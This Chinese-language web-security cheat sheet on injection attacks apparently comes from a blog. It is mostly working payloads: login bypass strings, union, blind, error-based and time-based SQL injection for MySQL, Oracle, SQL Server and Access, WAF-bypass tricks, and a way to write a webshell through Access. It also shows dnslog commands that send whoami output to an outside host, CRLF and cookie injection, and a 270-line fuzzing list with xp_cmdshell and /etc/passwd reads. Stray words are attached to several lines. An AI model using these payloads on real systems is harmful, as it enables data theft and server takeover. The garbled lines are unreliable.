应用安全-Web安全-注入篇

SQL注入语句-登陆框javascript

‘ username  #username是否过滤'
' root      #password是否过滤'
"username: root
password: '" 以root帐号登陆(针对对查询结果是否有值作了判断的状况)
root' and 1=1;# 空/任意 以admin帐号登陆(针对对查询结果是否有值作了判断的状况)
admin' and 1=1;# 空/任意 "以空帐号登陆
若断定条件为$sql语句执行成功,而不对查询结果处理(如断定是否有值才能正确完成登陆重定向)"
and 1=1;# 空/任意 查询语句结果为空,判断语句为:查询出的密码=输入的密码
and 1=1;# 空php

用户名输入框中输入:’ or 1=1#,密码随便输入(mysql5.7.21中不成立:输出报错--)
' rlike (select (case when (1=1) then 1 else 0x28 end)) and '1'='1' or '1'='1
select @@secure_file_priv;  --查看是否能够导入导出,为NUll表示不容许,为空表示容许
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;             --mysql3.x读取方法

select * from user where id=1 and 1=2 union select 1,2,3;  --判断表列数(这里判断是否为3列)html

select * from user where id=1 and 1=2 union select version(),1,2; --判断表列数+版本号(这里判断是否为3列)java

select * from user where id=1 and 1=2 union select version(),database(),2; ----判断表列数+版本号+数据库名(这里判断是否为3列)python

select * from user where id=1 and 1=2 union select version(),database(),user(); ----判断表列数+版本号+数据库名+用户名(这里判断是否为3列)mysql

select * from user where id=1 and 1=2 union select 1,2,schema_name from information_schema.schemata;(查询全部数据库)web

select * from user where id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata;(查询全部数据库)正则表达式

select * from user where id=1 and 1=2 union select 1,2,group_concat(convert(schema_name using latin1)) from information_schema.schemata;sql

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() ---(根据库名查看表名称)chrome

and 1=2 union select 1,2,group_concat(conver t(table_name using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15 from information_schema.tables where table_schema=database() ---(根据库名查看表名称)

mysql> select column_name from information_schema.columns where table_name=0x75736572; ----(根据表名查看列名,表名为16进制编码,需注意此处可能出现多张同名的表)

union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573 --(根据表名查看列名,表名为16进制编码,需注意此处可能出现多张同名的表)

and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码,之间用加号分隔)

and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码)

select table_name from information_schema.tables; --(mysql查看数据库中的总表数目)

and (select count (*) from user_tables>0 (oracle查看数据库中的总表数目)

select count(*) from information_schema.tables  --(mysql查看全部数据库中的表总数)

mysql> select table_schema,count(*) from information_schema.tables group by table_schema  --(查询数据库中每个库对应的表数目)

mysql> select table_name,table_schema from information_schema.tables where table
_schema='test';

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

select * from (select name_const(version(),1))a;   --查看数据库版本

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;   --利用数据库报错信息查看数据库版本

select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));

SQL注入登陆框 - 万能密码 - ASP

'or''='  |  'or''='
root' or 'afs'<>'1sa  |  empty - Arbitrary

SQL注入登陆框 - 万能密码 - PHP

'or 1=1/*
or 1=1#/*
admin' or 'a'='a   -- admin'报错 - 》 admin''正常 -》  

 SQL注入搜索框 - 数字型 - PHP

?cid=211 and 1=1     ?cid=211 and 1=2

?type=2 and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)%23

SQL注入搜索框 - 数字型- PHP -》select被过滤-》使用%2b配合mysql内置函数注入  

http://www.xx.com/content_cygs.php?NID=240

http://www.xx.com/content_cygs.php?NID=235%2b(substring(@@version,1,1))

http://www.xx.com/content_cygs.php?NID=239%2b(substring(@@version,3,1))

http://www.xx.com/content_cygs.php?NID=234%2b(substring(@@version,5,1))

http://www.xx.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),1,1)

SQL注入搜索框 - 字符型- PHP 

php?city=zhongshan' and 1=(case when 1=1 then 1 else(select 1 from information_schema.tables)end)and'a'='a
php?city=zhongshan' and 0=(case when 1=1 then 1 else(select 1 from informatino_schema.tables)end)and'a'='a

绕过方法整理

大小写转换法    SQL:sEleCt vERsIoN();
特殊字符构造法    select `version`();
编码绕过(常见的SQL编码有unicode、HEX、URL、ascll、base64等)    SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
拼凑法(利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整)    SQL:selselectect verversionsion();

SQL注入 - 字段绕过 - 单引号绕过1

局限性:(1)服务端采用GBK编码(2)数据传输时对字符进行url编码
root%d5' or 1=1;#      空/任意
addslashes -> urldecode
<?php 
$user = $_GET['username'];
$pass = $_GET['password'];
$con=mysqli_connect("localhost","root","root","test"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "链接 MySQL 失败: " . mysqli_connect_error(); 
} 
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username='$adsuser1'";
echo $sql;
$result = mysqli_query($con,$sql);
$arr  = (mysqli_fetch_row($result));
if(is_array($arr)){
 header("Location:manager.html");

}else {
 echo "Please Login Again!";
 header("Refresh:2;url=Login.html");
}
?>
View Code

SQL注入 - 字段绕过 - 单引号绕过2

root %27 and 1=1;#   空/任意

addslashes -> urldecode (配合浏览器 --浏览器会首先作一次urldecode)
<?php 
$user = $_GET['username'];
$pass = $_GET['password'];
$con=mysqli_connect("localhost","root","root","test"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "链接 MySQL 失败: " . mysqli_connect_error(); 
} 
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username='$adsuser1'";
echo $sql;
$result = mysqli_query($con,$sql);
$arr  = (mysqli_fetch_row($result));
if(is_array($arr)){
 header("Location:manager.html");

}else {
 echo "Please Login Again!";
 header("Refresh:2;url=Login.html");
}
?>
View Code

SQL注入 - 字段绕过 - 单引号绕过3

root %2527 and 1=1;#   空/任意

and 通常会考虑转换为 &&
内联注释绕过: /*!1*/=/*!2*/  
id=1 and/*!1=1*/  
View Code

SQL注入 - 字段绕过 - and绕过

空格过滤转换为 %0a 、+ 或者 /**/

SQL注入 - 字段绕过 - 空格绕过

等号转换为 like greatest between 这些在sqlmap 都有相应的tamper

SQL注入 - 字段绕过 - 等号绕过

/**/select

SQL注入 - 字段绕过 - select绕过

盲注

and (select count(*) from admin) >=0   --(猜表名)
and (select count (user) from admin ) >=0   --(猜列名)
select * from user where id=3 and (select count(id) from user) > 3;  --(猜列对应的行数,此处3返回正常页面表示可继续加1,直到页面不显示内容)
and (select top 1 len (列名) from 表名) >0   --(sqlserver中猜列名中的第一列对应的字符数)
and (select len (列名) from 表名 limit 1) >0   --(mysql中猜列名中的第一列字段对应的字符数)
and (select top 1asc (mid (user,1,1)) from admin) >96  ——(猜字段的Ascii值,mysql报错)
"mysql> select * from user where id=1 and ascii(substring((select id from user where id=1),1,1))=49;   --(mysql猜字段的Ascii值)"
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);
select 1 from user where id regexp '^[1-9]' limit 6; --(列名用正则表达式表示)
select char(97)   --(ascii转换为字符a)
select ascii('a')   --(a取ascii值)
select ord('a');    ----(a取ascii值)
select left(database(),2);   ---取数据库名的前两个字符

mid
数据库名判断 mysql> select * from users where id=1 union select mid(database(),1,2),1,2; --根据查询列数判断数据库名称 "关键字: union select mid database ()
绕过字段: and
"
数据库名判断(暴力猜解) "mysql> select * from users where id=1 and sleep(if((mid(database(),1,1)='s'),2,0
));" "关键字:and sleep if mid database () = '
));
绕过字段: union select
"
length
数据库名判断 mysql> select * from users where id=1 and length(database())>7; --长度大于7判断 "关键字: and length database () >
绕过字段: select =
"
floor
当前user()/database() "mysql> select * from users where id =1 and (select 1 from (select count(*),conca
t(user(),floor(rand(0)*2))x from users group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@1' for key '<group_key>'"
updatexml "UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
做用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而咱们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,所以不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'"
当前user()/database() http://www.hackblog.cn/sql.php?id=1 and (select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
暴库 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
暴表 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容 http://www.hackblog.cn/sql.php?id=1 and mysql> select updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1);


extractvalue
union联合查询注入
爆数据库名 "mysql> select * from user where id=1 and username = 'root' and (extractvalue('anything',concat('~',(select database()))));
extractvalue()能查询字符串的最大长度为32,就是说若是咱们想要的结果超过32,就须要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))"
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值 http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
报错型注入
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+"
爆值 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+"
geometrycollection
multipoint
polygon
multipolygon
linestring
multilinestring
exp
concat过滤绕过(使用make_set,lpad,repeat,reverse,export_set):
select updatexml(1,make_set(3,0x7e,(select user())),1);
select updatexml(1,lpad('@',30,(select user())),1);
mysql> select updatexml(1,repeat((select user()),2),1);
mysql> select updatexml(1,reverse((select user())),1);
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);

基于时间

sleep        
当前用户名判断    select if(user()='root@',sleep(2),null); --用户名判断 (刷新时间能够经过浏览器的开发者选项f12来看,或者使用Firefox的firebug插件,或者burpsuite等工具)    "关键字: union select  if  user  ()  =  '  sleep 
绕过字段:  and
"
数据库名判断    mysql> select * from users where id=1 and  if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=113,sleep(2),null);    --暴力猜解当前数据库中的数据库名,此处猜解当前数据库在第四个数据库且数据库首字母的ascii是为113(q)    "关键字: and  if ascii substr select schema_nameinformation  limit  =  sleep   ()
绕过字段:union (select)
"
表名判断    mysql> select * from users where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),null);   --暴力猜解当前数据库security中第四张表的首字母为u    "关键字:and  if  ascii  substr  select  information_schema  where =  '  limit  =  sleep  ()
绕过字段:union (select)
"
列名判断    "mysql> select * from users where id=1 and  if(ascii(substr((select column_name f
rom information_schema.columns where table_schema='security' and table_name='use
rs' limit 0,1),1,1))=105,sleep(2),null);
Empty set (2.00 sec)    --暴力猜解当前数据库security,users表第1列字段的首字母为i"    "关键字:and  if  ascii  substr  select   information_schema where  =  ' limit sleep  ()
绕过字段:union (select)
"
字段值判断    "mysql> select * from users where id=1 and  if(ascii(substr((select password from
 security.users limit 0,1),1,1))=68,sleep(2),null);   --暴力猜解当前数据库security,users,password列第一列字段的首字母为D
"    "关键字:and    if     ascii   substr   select    from   limit   =    sleep    ()
绕过字段:union (select)
"
数据库名称长度判断    mysql> select * from users where id=1 and sleep(if((length(database())=8),0,3));    "关键字: and     sleep     if    length    database     ()       =
绕过字段:  select
"

语言/框架中注入漏洞整理 - Java

jdbc:java.sql.statement(类)--可能存在
java.sql.preparedstatement --不存在(推荐使用类)

"String sql = ""select * from user_table where username=
' ""+userName+"" ' and password=' ""+password+"" '"";"
绕过方法:‘or 1 = 1 –
"SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password='' 删除数据库"
String sql = “select id,no from user where id=” + id;
绕过方法:1 or 1 = 1
select id,no from user where id=1 or 1=1

语言/框架中注入漏洞整理 - Python

python中sql存在注入状况:    
"sql = ""select id, name from test where id=%d and name='%s'"" %(id, name)
cursor.execute(sql)"    
"修复:
args = (id, name)
sql = ""select id, name from test where id=%s and name=%s""
cursor.execute(sql, args)"    
"sql = ""select id, name from test where id=""+ str(id) +"" and name='""+ name +""'""
cursor.execute(sql)"    
"修复:
name = MySQLdb.escape_string(name)
sql = ""select id, name from test where id=%d and name='%s'"" %(id, name)
cursor.execute(sql)"    

 

注入工具整理

BSQL Hacker 
1.支持SQL盲注;2.可自动对Oracle和MySQL数据库进行攻击 3.自动提取数据库的数据和架构
 The Mole 1.开源 2.可绕过IPS/IDS; 3.攻击范围包括SQL Server、MySQL、Postgres和Oracle

Pangolin 1.支持Access、MSSql、MySql、Oracle、Informix、DB二、Sybase、PostgreSQL、Sqlite 2.从检测注入开始到最后控制目标系统都给出了测试步骤 3.国内使用率最高的SQL注入测试的安全软件

Access手工注入

'
1=1
1=2

猜解表名
and exists(select * from admin)

猜解列名
and exists(select admin from admin)

猜想字段内容
and (select top 1 len(admin) from admin)>n
and (select top 1 asc(mid(admin,1,1)) from admin)>c

Webshell写入
create table cmd (a varchar(50))  
insert into cmd (a) values ('一句话木马')  
select * into [a] in 'e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd  
drop table cmd  

 

Oracle注入--搜索框

and (select count(*) from user_tables)=5--

and 1=2 union select 1,2,table_name,'4','5',null,7,1 from user_tables

and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name='XBLOUSER' )>0

and 1=2  union select 1,2,COLUMN_NAME,'4','5',null,7,1 from (select * from (SELECT
COLUMN_NAME FROM USER_TAB_COLUMNS  WHERE table_name='XBLOUSER'  order by 1 asc )
WHERE  ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 --

Param_list:CommandName=getAppVersion) AND 9533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(120)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (9533=9533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (5159=5159

SqlServer注入--搜索框

Param_list:CommandName=getAppVersion%' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) AND '%'='   (没整明白其做用,convert用法正确)    

Param_list:CommandName
=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10# Param_list:CommandName=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10#

dnslog注入

获取计算机名
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

Cookie注入

直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,而后取Cookie值

http://www.xxx.com/1.asp?id=123
若是咱们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,由于没有参数!
咱们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入 
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的缘由)
以后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123 
以后,你刷新一个网页,若是正常显示,表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就能够试Cookies注入
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,若是显示正常,能够再试下一步(若是不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
若是不正常显示,这就表示有注入
View Code

CLRF注入

通常网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,因此咱们能控制的内容就是Location:后面的XXX某个网址。
因此一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn
但若是咱们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun
这个时候这样咱们就给访问者设置了一个SESSION,形成一个“会话固定漏洞”。
好比一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面做为一个跳转。若是咱们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
咱们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:
<img src=1 onerror=alert(/xss/)>
浏览器会根据第一个CRLF把HTTP包分红头和体,而后将体显示出来。因而这里<img>这个标签就会显示出来,形成一个XSS。
浏览器的Filter是浏览器应对一些反射型XSS作的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,因此不能触发XSS。
怎样才能关掉filter?通常来讲用户这边是不行的,只有数据包中http头含有X-XSS-Protection而且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,咱们能够将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,而且执行咱们的反射型XSS。
因此说HRS的危害大于XSS,由于它能绕过通常XSS所绕不过的filter,并能产生会话固定漏洞。
某分站含有一个url跳转漏洞,危害并不大,因而我就想到了CRLF Injection,测试
http://xxx.xx.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:
那么咱们就注入一个X-XSS-Protection:0到数据包中,看看什么效果:
@mramydnei 还想到了一个利用字符编码来绕过XSS Filter的方法,当编码是is-2022-kr时浏览器会忽略%0f,这样咱们在onerror后面加个%0f就能绕过filter,前提是注入一个<meta charset=ISO-2022-KR>:
固然,在Location:这里注入只有webkit内核浏览器才可以利用,其余浏览器可能会跳转、出错。不过对于chrome的使用量来讲,危害已经足够了。
如何修复HRS漏洞,固然是过滤\r 、\n之类的换行符,避免输入的数据污染到其余HTTP头。
View Code

SSTI注入

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell

XFF(X-Forwarded-For)注入

X-Forwarded-for: 127.0.0.1  正常
X-Forwarded-for: 127.0.0.1’ 报错
X-Forwarded-for: 127.0.0.1' and 1=1# 正常
X-Forwarded-for: 127.0.0.1' and 1=2#   报错

SOAP接口XML注入

 异或注入

可用于判断过滤
http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error

referer注入

宽字符注入

二次注入

Fuzzing篇

1 )%20or%20('x'='x
  2 %20or%201=1
  3 ; execute immediate 'sel' || 'ect us' || 'er'
  4 benchmark(10000000,MD5(1))#
  5 update
  6 ";waitfor delay '0:0:__TIME__'--
  7 1) or pg_sleep(__TIME__)--
  8 ||(elt(-3+5,bin(15),ord(10),hex(char(45))))
  9 "hi"") or (""a""=""a"
 10 delete
 11 like
 12 " or sleep(__TIME__)#
 13 pg_sleep(__TIME__)--
 14 *(|(objectclass=*))
 15 declare @q nvarchar (200) 0x730065006c00650063 ...
 16  or 0=0 #
 17 insert
 18 1) or sleep(__TIME__)#
 19 ) or ('a'='a
 20 ; exec xp_regread
 21 *|
 22 @var select @var as var into temp end --
 23 1)) or benchmark(10000000,MD5(1))#
 24 asc
 25 (||6)
 26 "a"" or 3=3--"
 27 " or benchmark(10000000,MD5(1))#
 28 # from wapiti
 29  or 0=0 --
 30 1 waitfor delay '0:0:10'--
 31  or 'a'='a
 32 hi or 1=1 --"
 33 or a = a
 34  UNION ALL SELECT
 35 ) or sleep(__TIME__)='
 36 )) or benchmark(10000000,MD5(1))#
 37 hi' or 'a'='a
 38 0
 39 21 %
 40 limit
 41  or 1=1
 42  or 2 > 1
 43 ")) or benchmark(10000000,MD5(1))#
 44 PRINT
 45 hi') or ('a'='a
 46  or 3=3
 47 ));waitfor delay '0:0:__TIME__'--
 48 a' waitfor delay '0:0:10'--
 49 1;(load_file(char(47,101,116,99,47,112,97,115, ...
 50 or%201=1
 51 1 or sleep(__TIME__)#
 52 or 1=1
 53  and 1 in (select var from temp)--
 54  or '7659'='7659
 55  or 'text' = n'text'
 56  --
 57  or 1=1 or ''='
 58 declare @s varchar (200) select @s = 0x73656c6 ...
 59 exec xp
 60 ; exec master..xp_cmdshell 'ping 172.10.1.255'--
 61 3.10E+17
 62 " or pg_sleep(__TIME__)--
 63 x' AND email IS NULL; --
 64 &
 65 admin' or '
 66  or 'unusual' = 'unusual'
 67 //
 68 truncate
 69 1) or benchmark(10000000,MD5(1))#
 70 \x27UNION SELECT
 71 declare @s varchar(200) select @s = 0x77616974 ...
 72 tz_offset
 73 sqlvuln
 74 "));waitfor delay '0:0:__TIME__'--
 75 ||6
 76 or%201=1 --
 77 %2A%28%7C%28objectclass%3D%2A%29%29
 78 or a=a
 79 ) union select * from information_schema.tables;
 80 PRINT @@variable
 81 or isNULL(1/0) /*
 82 26 %
 83 " or "a"="a
 84 (sqlvuln)
 85 x' AND members.email IS NULL; --
 86  or 1=1--
 87  and 1=( if((load_file(char(110,46,101,120,11 ...
 88 0x770061006900740066006F0072002000640065006C00 ...
 89 %20'sleep%2050'
 90 as
 91 1)) or pg_sleep(__TIME__)--
 92 /**/or/**/1/**/=/**/1
 93  union all select @@version--
 94 ,@variable
 95 (sqlattempt2)
 96  or (EXISTS)
 97 t'exec master..xp_cmdshell 'nslookup www.googl ...
 98 %20$(sleep%2050)
 99 1 or benchmark(10000000,MD5(1))#
100 %20or%20''='
101 ||UTL_HTTP.REQUEST
102  or pg_sleep(__TIME__)--
103 hi' or 'x'='x';
104 ") or sleep(__TIME__)="
105  or 'whatever' in ('whatever')
106 ; begin declare @var varchar(8000) set @var=' ...
107  union select 1,load_file('/etc/passwd'),1,1,1;
108 0x77616974666F722064656C61792027303A303A313027 ...
109 exec(@s)
110 ) or pg_sleep(__TIME__)--
111  union select
112  or sleep(__TIME__)#
113  select * from information_schema.tables--
114 a' or 1=1--
115 a' or 'a' = 'a
116 declare @s varchar(22) select @s =
117  or 2 between 1 and 3
118  or a=a--
119  or '1'='1
120 |
121  or sleep(__TIME__)='
122  or 1 --'
123 or 0=0 #"
124 having
125 a'
126 " or isNULL(1/0) /*
127 declare @s varchar (8000) select @s = 0x73656c ...
128 ‘ or 1=1 --
129 char%4039%41%2b%40SELECT
130 order by
131 bfilename
132  having 1=1--
133 ) or benchmark(10000000,MD5(1))#
134  or username like char(37);
135 ;waitfor delay '0:0:__TIME__'--
136 " or 1=1--
137 x' AND userid IS NULL; --
138 */*
139  or 'text' > 't'
140  (select top 1
141  or benchmark(10000000,MD5(1))#
142 ");waitfor delay '0:0:__TIME__'--
143 a' or 3=3--
144  -- &password=
145  group by userid having 1=1--
146  or ''='
147 ; exec master..xp_cmdshell
148 %20or%20x=x
149 select
150 ")) or sleep(__TIME__)="
151 0x730065006c0065006300740020004000400076006500 ...
152 hi' or 1=1 --
153 ") or pg_sleep(__TIME__)--
154 %20or%20'x'='x
155  or 'something' = 'some'+'thing'
156 exec sp
157 29 %
158 (
159 ý or 1=1 --
160 1 or pg_sleep(__TIME__)--
161 0 or 1=1
162 ) or (a=a
163 uni/**/on sel/**/ect
164 replace
165 %27%20or%201=1
166 )) or pg_sleep(__TIME__)--
167 %7C
168 x' AND 1=(SELECT COUNT(*) FROM tabname); --
169 &apos;%20OR
170 ; or '1'='1'
171 declare @q nvarchar (200) select @q = 0x770061 ...
172 1 or 1=1
173 ; exec ('sel' + 'ect us' + 'er')
174 23 OR 1=1
175 /
176 anything' OR 'x'='x
177 declare @q nvarchar (4000) select @q =
178 or 0=0 --
179 desc
180 ||'6
181 )
182 1)) or sleep(__TIME__)#
183 or 0=0 #
184  select name from syscolumns where id = (sele ...
185 hi or a=a
186 *(|(mail=*))
187 password:*/=1--
188 distinct
189 );waitfor delay '0:0:__TIME__'--
190 to_timestamp_tz
191 ") or benchmark(10000000,MD5(1))#
192  UNION SELECT
193 %2A%28%7C%28mail%3D%2A%29%29
194 +sqlvuln
195  or 1=1 /*
196 )) or sleep(__TIME__)='
197 or 1=1 or ""=
198  or 1 in (select @@version)--
199 sqlvuln;
200  union select * from users where login = char ...
201 x' or 1=1 or 'x'='y
202 28 %
203 ‘ or 3=3 --
204 @variable
205  or '1'='1'--
206 "a"" or 1=1--"
207 //*
208 %2A%7C
209 " or 0=0 --
210 ")) or pg_sleep(__TIME__)--
211 ?
212  or 1/*
213 !
214 '
215  or a = a
216 declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
217 declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 
218 declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
219 declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
220 ' or 1=1
221  or 1=1 --
222 x' OR full_name LIKE '%Bob%
223 '; exec master..xp_cmdshell 'ping 172.10.1.255'--
224 '%20or%20''='
225 '%20or%20'x'='x
226 ')%20or%20('x'='x
227 ' or 0=0 --
228 ' or 0=0 #
229  or 0=0 #"
230 ' or 1=1--
231 ' or '1'='1'--
232 ' or 1 --'
233 or 1=1--
234 ' or 1=1 or ''='
235  or 1=1 or ""=
236 ' or a=a--
237  or a=a
238 ') or ('a'='a
239 'hi' or 'x'='x';
240 or
241 procedure
242 handler
243 ' or username like '%
244 ' or uname like '%
245 ' or userid like '%
246 ' or uid like '%
247 ' or user like '%
248 '; exec master..xp_cmdshell
249 '; exec xp_regread
250 t'exec master..xp_cmdshell 'nslookup www.google.com'--
251 --sp_password
252 ' UNION SELECT
253 ' UNION ALL SELECT
254 ' or (EXISTS)
255 ' (select top 1
256 '||UTL_HTTP.REQUEST
257 1;SELECT%20*
258 <>"'%;)(&+
259 '%20or%201=1
260 'sqlattempt1
261 %28
262 %29
263 %26
264 %21
265 ' or ''='
266 ' or 3=3
267  or 3=3 --
268 sleep(__TIME__)#
269 1 or sleep(__TIME__)#
270 " or sleep(__TIME__)#
